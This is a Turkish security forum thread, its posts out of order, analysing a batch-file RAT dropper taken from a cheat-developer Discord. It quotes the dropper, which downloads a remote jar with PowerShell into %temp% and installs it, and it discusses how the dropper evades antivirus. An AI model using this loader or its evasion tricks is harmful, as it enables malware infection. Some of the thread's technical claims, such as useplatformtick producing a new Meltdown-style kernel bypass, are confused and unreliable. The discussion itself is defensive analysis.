Peki ya bunun sistemden arındırılma durumu nasıldır hocam? Kod:Panoya kopyala @echo off java -noverify -jar deneme. jar bcdedit /set useplatformtick yes powershell Invoke-WebRequest "deneme2. jar"" -OutFile Tespit edilememesi bu satırlardan kaynaklanıyor sanırım.

cmd, bat, exe, py... tetiklenebilen her türlü dosyada bir D. Generic yaratmak mümkün, bu pdf için de olur fakat pdf ile doğrudan dosya indirmesini tetiklemek için sistemde bu açığa uygun bir pdf aracı olması gerek.

Peki ya söz konusu burada bir. bat uzantılı dosya yerine. pdf uzantılı bir dosya olsaydı? . pdf uzantılı dosyalarla da RAT zararlısı sızabilir mi?

Büyük ihtimalle stub enjekte edilip Crypter ile şifrelenmişdir.

Hayır oyunlar için hile geliştiren Türk birkaç kişinin Discord sunucusu var. Oradan buldum. Sizce önemli bir şey mi hocam? Ek olarak az önce bu kod bloğunu paylaşıp hemen silen kişiye sorduğumda BAT dosyasının içeriğinin sadece bu kadar olduğunu, başka kod olmadığını söylüyor. Önemli olan BAT dosyası değil çektiği JAR diyor.

Tekrardan teşekkür ediyorum bilgilendirip konuya açıklık getirdiğiniz için hocam. Var olun.

Güzel soru. Bu sorunun cevabı Beni de ilgilendiriyor.

Hocam kodu burada paylaşmam bir sorun teşkil eder mi?

Önemli değil, kodun VT üzerinden birkaç incelemesini gerçekleştirdim; Öncelikle koddaki riskli tek işlem useplatformtick, fakat tahminim gibi bu kernel bypass için kullanılmıyor, aksine dosya zamanlaması için sistemi hazırlıyor. İçerikteki "Gold_Hit EDIT_BY_MART_. jar" isimli dosyanın indirme bağlantısına eriştim, yine cdn. discordapp üzerinden sağlanıyor, üçüncü parti bir dosya. Verilen koddaki dosya ismi farklı olabilir fakat yapılan iş aynı. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Segment Heap kayıt girdisine erişerek izole bellek alanı için değişiklik yapıyor, ki bu da SegmentationFault tetiklemesine sebep olarak bir nevi yapay "Meltdown" yaratıyor. TCP kontrolü üzerinde yoğun bir değişiklik yaparak sistemden giden paket sınırını kaldırıyor ve hem aynı ağ hem de dış ağ üzerindeki iletişimi sürekli kılıyor - ki tipik RAT özelliği-. Fakat bunları yapan, adı geçen. jar dosyası. Attığınız. bat dosyası batch obfuscation işlemine maruz kalmış, şifrelenmiş, bozulmuş bir yapıda. Bu sebeple antivirüslere yakalanmıyor, ayrıca doğrudan bu kodlar zararlı bir içerik oluşturmuyor. Bu sebeple AV yazılımları yakalayamıyordur. Sezgisel tarama ve davranış taraması genellikle dış ağa kapalı sistemlerde gerçekleştiriliyor , bu sebeple indirmeye çalıştığı asıl zararlı dosyayı indiremediği için AV çözümleri zararlı algılamıyor. Ayrıca konuştuğunuz kişi muhtemelen size doğru bilgiyi sunmuyor, zira VT üzerinden kodun kalan birkaç parçasına da eriştim, kod sadece attığınız bloktan ibaret değil. netsh üzerinden yoğun bir ön hazırlık gerçekleştirilmiş saldırı öncesi. AV'lerin ağ destekli yanıtının gecikmesi için ise yerel trafik meşgul ediliyor, 65000 bytelık paketlerin localhost'a yönlendirilmesi ile. Belki VirusTotal'deki çevrimdışı birkaç sandbox'ı atlatabilir ama deneyimli bir gözü asla

Hocam açmak zafiyetten etkilenmeye sebep olabilirse kodları nasıl görüntüleyeceğim ki en güvenilir ve temiz şekilde? Araştırma uğruna bir de virüs yemeyeyim.

Bilgilendirdiğiniz için çok teşekkür ederim hocam, aydınlandım sayenizde. Burada verdiğiniz bilgilerden yola çıkarak birkaç sorum olacak. Batch obfuscation işlemine maruz kalan BAT dosyalarının bir zararlıya yol açacak olsa bile antivirüsler tarafından algılanmadığı kesin mi oluyor? Bu tarz bir BAT hazırlayıp zararlı bir JAR çalıştırıp RAT yapmak, yani bu dosyanın gerçekleştirdiği işlem ustalık gerektiren bir şey mi yoksa basitçe yapılabilecek bir şey mi? Bu eylemin gerçekleştiricisi usta diyebilir miyiz?

Kodun bu kısmında dosya taşımak ve kurmak haricinde kayda değer tek şey dediğim gibi useplatformtick kullanılması. Aklıma kernel manipülasyonu hariç bir şey gelmiyor fakat bir java dosyası ile bunu yapmak büyük ustalık ister, dediğim gibi tüm kodları görmeden yorum yapmam zor. Bu blok net şekilde tespit edilebilecek bir yapıda. Not defteri ile açmak sorun yaratmaz yalnız kodun içeriğini bilmediğim için eğer uygulamadaki herhangi bir zeroday açığını tetikliyorsa açmak, zafiyetten etkilenmeye sebep olabilir. Güvenlik açısından online bir not alma sayfasında tutmanızı öneriyorum. Kodları mail atmayın, JustPaste. it - paste text and share with your friends üzerinden şifreli bir şekilde oluşturup linkini ve şifresini mail atın. Zeroday açığı mevcutsa mail istemcisi dahil herhangi bir uygulama üzerinden tetiklenebilir, bu ihtimali eleyelim.

Aslında bu terimleri de duydum. Neyi nasıl yapılacağı konusunda burada cevap alamayacağımı da iyi biliyorum.

Zararlıların nasıl antivirüsü atladığıyla ilgili çeşitli forum sitelerinde ve Discord üzerinde araştırma yapıyordum. Bir Discord sunucusunda bu BAT ile yazılan RAT'ın nasıl tespit edilemez hale geleceğine dair tutorial tarzı bir şey sunmuşlar. Duyuru olarak paylaştıktan hemen sonra paylaştıkları kod bloğunu sildiler. Tam hali aşağıdaki gibi: İsterseniz BAT dosyasının içerisindeki kodları yarın sizinle paylaşabilirim @Dutchman hocam, bu dosyanın not defteri ile açılması sistem açısından bir sorun yaratmaz değil mi? Dosyayı şu an indirmedim sistemime. Sadece paylaştıkları ve anında sildikleri bir dizi kodu alabildim. Kod:Panoya kopyala @echo off java -noverify -jar babaproxd. jar bcdedit /set useplatformtick yes powershell Invoke-WebRequest "qwewqe. jar"" -OutFile "%temp%\Gold_Hit EDIT_BY_MART_. jar" move "%temp%\babaproxd. jar" "C:\" "C:\babaproxd. jar" -install

İlginç, 12 mayısta görülmesine rağmen henüz bir AV tarafından tespit edilememiş. YARA kural eşleşmesi var kendini oradan ele veriyor. Net bir şey söylemek için kodu incelemem gerekli.

VirusTotal VirusTotal www.virustotal.com Bu BAT dosyası şeklinde hazırlanan RAT'ı antivirüsler neden tespit edemiyor?

Herhangi bir linux dağıtımına erişiminiz varsa nano üzerinden görüntüleyebilirsiniz. Onun haricinde söylediğim ekstrem bir önlem, bat uzantısını kaldırıp normal metin belgesi formatında Notepad++ ile açabilirsiniz. Bu arada, dosyayı Hybrid Analysis üzerinde taratma imkanınız var mı şu anda? Ekleme: Rka isimli bir. onion uzantılı web sayfasından mı bulmuştunuz dosyayı? İsmi erişim olmaması adına sansürledim fakat site başlığından anlarsınız. Bir forum sitesi, bu tarz batch obfuscation yöntemleri sıklıkla paylaşılıyor ve genelde rus ağlarından ilgi var. Eğer buradan bulduysanız dosya doğrudan batch obfuscation ile şifrelenmiştir, tespit edilemeyen kodda çince metinler veya anlamsız satırlar var mı? @Adrastos

Bu arada, noverify kullanarak doğrulamaları atlatıyor, TCP ayarlarına yoğun müdahalesi var, muhtemelen bundan dolayı tespit edilemiyor. Son düzenleyen: Moderatör: 14 Eylül 2023

Bulaşan zararlıya bağlı, "Gold_Hit EDIT_BY_MART_. jar" isimli dosyanın ne olduğuyla ilgili bir fikrim yok, ayrıca -noverify kullanılması sadece dosya doğrulamasını atlatır. AV taramalarını bypass etmemeli. Kodun bu kısmına göre, indirilen paket - ki burada "deneme2. jar" olarak tanımlı - bir Java sanal makinesinde çalıştırıldığı için izole alan oluşturup AV taramasından kaçabilir, fakat yürütme için mutlaka AV taraması gerekli. Gözüme takılan nokta, useplatformtick kısmı oldu, Meltdown ve Spectre açıklarından işlemci zamanlayıcısı ile kernel arasındaki bariyeri kaldırıp AV yazılımlarını bypass edebilmek mümkündü, eğer attığınız dosya bu alanda bir işlem yapıyorsa karşımızda sıfırdan yeni bir Meltdown&Spectre zafiyeti mevcut demektir. Dosyaya nereden eriştiniz? Bat dosyasını siz mi yazdınız yoksa internetten mi buldunuz? Tam sonuç için dediğim gibi kodları incelemem gerekli, attığınız kodlarda tek sorun yaratabilecek kısım useplatformtick, AV yazılımlarının çalışmasına da etki edebilir, CPU bariyerini aşarak kernel iletişimini de kırabilir.

JAR 'ın içeriğine bağlı fakat böyle bir. bat dosyasını oluşturmak zor değil, genelde bu tarz dosyaları oluşturup bunları kullanarak saldırı yapmaya çalışanlara script kiddie diyoruz.